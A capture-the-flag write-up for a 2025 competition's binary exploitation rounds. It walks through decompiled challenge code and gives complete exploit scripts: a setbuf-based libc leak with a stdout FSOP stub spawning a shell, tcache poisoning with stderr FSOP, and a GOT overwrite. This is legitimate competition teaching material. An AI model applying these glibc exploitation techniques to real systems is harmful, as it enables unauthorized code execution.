Published on

PCC '25 - SHOWDOWN - All Challenges

Authors

Elimination Bracket

elimination-bracket

To start of, we got lucky, random bracket generation resulted in us getting directly to round-2 without having to play round-1.


ROUND-2

The challenge name was file102.

Solution

Files provided:

$ ls
Dockerfile.dist  docker-compose.yml  file102  flag.txt

Binary has following protections:

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.libs'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

file102 is a 64-bit elf binary, dynamically linked, has NX enabled yet with no PIE and has no stack canary. The binary interacts with the user through several prompts and then calls an attacker supplied function pointer with partially controlled arguments:

main
int __fastcall main(int argc, const char **argv, const char **envp)
{
  void (__fastcall *ulong)(char *, char *, _QWORD, _QWORD, _QWORD, _QWORD); // rbp
  __int16 v4; // bx
  __int16 v5; // ax

  write(1, "address: ", 9uLL);
  ulong = (void (__fastcall *)(char *, char *, _QWORD, _QWORD, _QWORD, _QWORD))get_ulong();
  write(1, "rdi: ", 5uLL);
  v4 = get_ulong();
  write(1, "rsi: ", 5uLL);
  v5 = get_ulong();
  ulong((char *)stdin + v4, &aRsi[v5], 0LL, 0LL, 0LL, 0LL);
  write(1, "the code of pwn: ", 0x11uLL);
  get_ulong();
  puts("Indeed, the code of pwn is 1337.");
  write(1, "the code of life: ", 0x12uLL);
  get_ulong();
  puts("Indeed, the code of life is 69.");
  return 0;
}

Disassembling main revealed this sequence:

  • print address: and read a number
  • print rdi: and read a number
  • print rsi: and read a number
  • call the user provided number as a function pointer

The important part is how the call is prepared:

  • the first number becomes the function pointer to call
  • the second number is sign-extended to 16 bits and added to the stdin pointer
  • the third number is sign-extended to 16 bits and added to a fixed base pointer

In short, the program gives us a weak indirect call primitive:

  • call user_addr
  • rdi = stdin + sign16(user_rdi)
  • rsi = fixed_base + sign16(user_rsi)

Now, because the program allows an indirect call, we should look for a libc function that:

  1. accepts two FILE struct as arguments
  2. can bridge stdin & stdout
  3. can create an exploitable condition

The right choice was setbuf(stdin, stdout)

Why setbuf(stdin, stdout)?

setbuf(FILE *stream, char *buf) makes the given stream use a user supplied buffer. If we call setbuf(stdin, stdout), we effectively tell libc:

Use the memory of the stdout FILE object as the read buffer for stdin that means the next input operations on stdin will write bytes into the stdout object. This is the primitive we need for FSOP.

Now, we need to find a way to leak libc and then overwrite the stdout FILE object in order to get code execution.

Leaking libc

For the libc leak I used the classic "stdout as a read primitive" technique. After setbuf(stdin, stdout), the next input bytes are written into the stdout file struct. So the first corruption payload only needs to damage the beginning of stdout:

p64(0xFBAD1887) + p64(0) * 3 + p8(0)

This is the same practical trick described in nobodyisnobody's stdout leak notes:

  1. set _flags to 0xFBAD1887,
  2. clear _IO_read_ptr, _IO_read_end and _IO_read_base,
  3. overwrite the low byte of _IO_write_base with zero.

That makes libc believe there is pending stdout data starting from an earlier address and when the binary prints the next message, libc flushes bytes from around the stdout file struct and leaks libc pointers.

Payload so far:

#!/usr/bin/env python3
from flashlib import *

gdbscript = """
"""

init("./file102_patched")
attach(gdbscript)


stdout_delta = (libc.sym._IO_2_1_stdout_ - (libc.sym._IO_2_1_stdin_ + 0x83)) & 0xFFFF

io.sendlineafter(b"address: ", encode(elf.plt.setbuf))
io.sendlineafter(b"rdi: ", b"0")
io.sendlineafter(b"rsi: ", encode(stdout_delta))


io.sendlineafter(b"the code of pwn: ", p64(0xFBAD1887) + p64(0) * 3 + p8(0)) 
io.interactive()

Leak:

leaks

Now here I did trial and error to find the right offset to leak libc but it can be calculated from the leaked pointers. Anyways:

leak = io.recvuntil(b"Indeed, the code of pwn is 1337.")
libc.address = u64(leak[0xbb8 : 0xbc0]) - 0x20efd0

Now the rest of exploit is simple, I used a 224 bytes stdout fsop stub to finish it up:

payload.py
#!/usr/bin/env python3
from flashlib import *

gdbscript = """
"""

init("./file102_patched")
attach(gdbscript)


stdout_delta = (libc.sym._IO_2_1_stdout_ - (libc.sym._IO_2_1_stdin_ + 0x83)) & 0xFFFF

io.sendlineafter(b"address: ", encode(elf.plt.setbuf))
io.sendlineafter(b"rdi: ", b"0")
io.sendlineafter(b"rsi: ", encode(stdout_delta))


io.sendlineafter(b"the code of pwn: ", p64(0xFBAD1887) + p64(0) * 3 + p8(0)) 
leak = io.recvuntil(b"Indeed, the code of pwn is 1337.")

libc.address = u64(leak[0xbb8 : 0xbc0]) - 0x20efd0
logleak(libc.address)


'''
224 bytes stdout fsop stub
'''
stdout = libc.sym._IO_2_1_stdout_
vtable = libc.sym._IO_wfile_jumps - 0x20

payload = flat(
    b" sh".ljust(8, b"\x00"),
    0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, libc.sym.system, 0, 0, 0, 0,
    stdout + 0x200, 0, 0, stdout - 0x10, 0,
    0, 0, 0, 0, stdout - 0x8, vtable,
)

io.sendlineafter(b"the code of life: ", payload)
io.interactive()

Shell:

shell

ROUND-3

to be added...

Solution

to be added...


SEMI-FINALS

to be added...

Solution

to be added...


FINALS

The challenge name was alt_finals.

Solution

Files provided:

$ ls
Dockerfile.dist  docker-compose.yml  alt_finals  flag.txt

Binary has following protections:

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.libs'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Lets have a look at the disassembly of main:

main
int __fastcall main(int argc, const char **argv, const char **envp)
{
  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  names = (__int64)malloc(0xA0uLL);
  while ( 1 )
  {
    switch ( (unsigned __int16)menu() )
    {
      case 0u:
        return 0;
      case 1u:
        do_malloc();
        break;
      case 2u:
        do_free();
        break;
      case 3u:
        do_edit();
        break;
      case 4u:
        do_print();
        break;
      case 5u:
        write_name();
        break;
      default:
        puts("Invalid index!");
        break;
    }
  }
}

Now if we look at the do_free() function, we can see that it frees the chunk at the given index but does not set the pointer to NULL:

do_free
unsigned __int64 do_free()
{
  unsigned __int8 v1; // [rsp+7h] [rbp-9h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("idx: ");
  __isoc99_scanf("%hhu%*c", &v1);
  if ( v1 <= 5u && chunks[v1] )
    free((void *)chunks[v1]);
  else
    puts("invalid index");
  return v2 - __readfsqword(0x28u);
}

do_free() does:

free(chunks[v1]);

but never:

chunks[v1] = NULL;
sizes[v1] = 0;

Therefore, chunks[idx] still points to freed memory. Later do_edit(), do_print() checks chunks[idx] which is still nonzero, so both operate on freed chunks.

This gives us classic use-after-free (UAF) vulnerability. We can free a chunk, then allocate a new chunk of the same size and then use do_edit() or do_print() to read/write to the new chunk through the old pointer. This allows us to create overlapping chunks and perform heap exploitation.

But if you look closely at the do_edit() function, it has one major flaw:

do_edit
int do_edit()
{
  const char *v0; // rax
  const char *v1; // rbx
  unsigned __int8 v3; // [rsp+Fh] [rbp-11h]

  printf("idx: ");
  if ( v3 <= 5u && chunks[v3] && sizes[v3] )
  {
    read(0, (void *)chunks[v3], (unsigned int)(sizes[v3] - 1));
    v1 = (const char *)chunks[v3];
    v0 = &v1[strcspn(v1, "\n")];
    *v0 = 0;
  }
  else
  {
    LODWORD(v0) = puts("invalid index");
  }
  return (int)v0;
}

Here v3 is never initialized. Normally you'd expect something like:

printf("idx: ");
scanf("%hhu%*c", &v3);

This causes v3 to have an uninitialized value resulting in random index chosen.

do-edit-flaw

If this function worked properly, it would have been a simple UAF exploitation. But because of this flaw, we can only use write_name() function to edit the freed chunk. But write_name() has a limit of 31 bytes. So we can only write 31 bytes at a time to the freed chunk.

This makes the exploitation a bit more complex. We can still use the UAF to create overlapping chunks and perform heap exploitation, but we have to be careful with the 31-byte limit.

This is the complete exploit code I wrote to solve the challenge:

payload.py
#!/usr/bin/env python3
from flashlib import *

gdbscript = """
# b *0x555555554000+0x12c2
"""

init("./alt_finals")
attach(gdbscript)

def malloc(idx):
    io.sendlineafter(b">> ", b"1")
    io.sendlineafter(b"idx: ", encode(idx))

def free(idx):
    io.sendlineafter(b">> ", b"2")
    io.sendlineafter(b"idx: ", encode(idx))

def edit():
    io.sendlineafter(b">> ", b"3")

def show(idx):
    io.sendlineafter(b">> ", b"4")
    io.sendlineafter(b"idx: ", encode(idx))

def writeName(idx, name):
    io.sendlineafter(b">> ", b"5")
    io.sendlineafter(b"idx: ", encode(idx))
    io.sendafter(b"name: ", name)


def write_fake_tcache_perthread(fake_tcache_perthread):
    ''' 
    i'm writing this function to write fake_tcache_perthread in chunks 
    as I can only write 31 bytes at a time using writeName function
    '''
    for i in range(0, len(fake_tcache_perthread), 0x20):
        io.sendlineafter(b">> ", b"5")
        chunk = fake_tcache_perthread[i:i+0x20][:-1] 
        io.sendlineafter(b"idx: ", encode(-21 + i // 0x20))
        io.sendafter(b"name: ", chunk)


# allocating 6 chunks of size 0x20 
for i in range(6):
    malloc(i)

''' 
i am going to overwrite tcache_perthread to fill up tcache bins
so that freed chunks go into unsortedbins first, giving a libc leak
on the heap
'''
fake_tcache_perthread = flat(
    0, 0x291,
    0x0007000700070007, 0x0007000700070007,
    0x0007000700070007, 0x0007000700070007,
)
write_fake_tcache_perthread(fake_tcache_perthread)

'''
creating overlapping chunks to make a chunk of size 0xa0 so that when 
I free it, it goes into the unsortedbin
'''
writeName(5, flat(0, 0xa1)[:-1])
free(0)

show(0)
libc.address = fixleak(io.recvafter(b"data: ")) - 0x210bb0
logleak(libc.address)

'''
correcting tcache_perthread to get a heap leak and be able to use
tcache poisoning to get stack & elf leaks
'''
fake_tcache_perthread = flat(
    0, 0x291,
    0x0, 0x0,
    0x0, 0x0,
)
write_fake_tcache_perthread(fake_tcache_perthread)

'''
tcache poisoning setup to get a stack leak and getting heap leak on the way
'''
free(2)
free(1)

show(2)
heap = fixleak(io.recvafter(b"data: ")) << 12
logleak(heap)

stackLeakPTR = libc.address + 0x2116e0
writeName(6,  flat(0, 0x21, mangle(heap+0x370, stackLeakPTR)))

malloc(2)
malloc(1)

show(1)
stack = fixleak(io.recvafter(b"data: "))
logleak(stack)


'''
getting elf leak via og tcache poisoning
'''
free(3)
free(2)

elfLeakPTR = stack - 0xf68
logleak(elfLeakPTR)
writeName(6,  flat(0, 0x21, mangle(heap+0x370, elfLeakPTR)))

malloc(3)
malloc(2)

show(2)
elf.address = fixleak(io.recvafter(b"data: ")) - 0x6081
logleak(elf.address)


''' 

EXPLOITATION OVERVIEW:-

Now, in this challenge global varible "names" stores the pointer to the heap chunk
that will be used to store name. What I will do is I'm gonna overwrite that
pointer to point to stdin file structure in libc to overwrite its 
_IO_buf_base & _IO_buf_end pointers to later point them to stderr file 
structure and then performing stderr fsop to get code execution
'''
logleak(elf.sym.names)

# name chunk pointer is the heap chunk that stores the name
names_chunk_ptr = heap + 0x2a0  
offset = (names_chunk_ptr - elf.sym.names) // 0x20

# subtracting 8 to get write over _IO_buf_base & _IO_buf_end in one go
# as writeName function allows me to write 31 bytes only
towrite = libc.sym._IO_2_1_stdin_ - 8
logleak(towrite)
writeName(-offset, p64(towrite))

writeName(2, flat(libc.sym._IO_2_1_stderr_, libc.sym._IO_2_1_stderr_+244))

# stderr-FSOP-stub from @TheFlash2k
vtable = libc.sym._IO_wfile_jumps
io_file = libc.sym._IO_2_1_stderr_
payload = flat(
    unpack(b" sh".ljust(8, b"\x00")),
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, libc.sym.system, 0x00, 0x00, 0x00, 0x00,
    0x0, 0x0, 0x00, libc.bss()+0x100, 0x00,
    io_file+0x20, io_file-0x20,
    0x0, 0x0, 0x0, (io_file-0xe0)+0xc0, 0x0, 0x0,
    vtable)

io.sendafter(b">> ", payload)
io.interactive()

Shell:

shell

But here is the sad part, we were not able to finish the challenge during showdown finals due to time constraints. So a sudden death match was arranged.

SUDDEN DEATH (FINALS)

It was a GOT overwrite challenge with a given write-what-where primitive and a win function. The challenge name was I write I win. Unfortunately, I dont have the challenge files anymore, but the solution was simple. We just had to overwrite exit() GOT entry with win() function address so when the program calls exit(), it will call win() instead giving us a shell.


Event Dumps

elimination-bracket
team-pic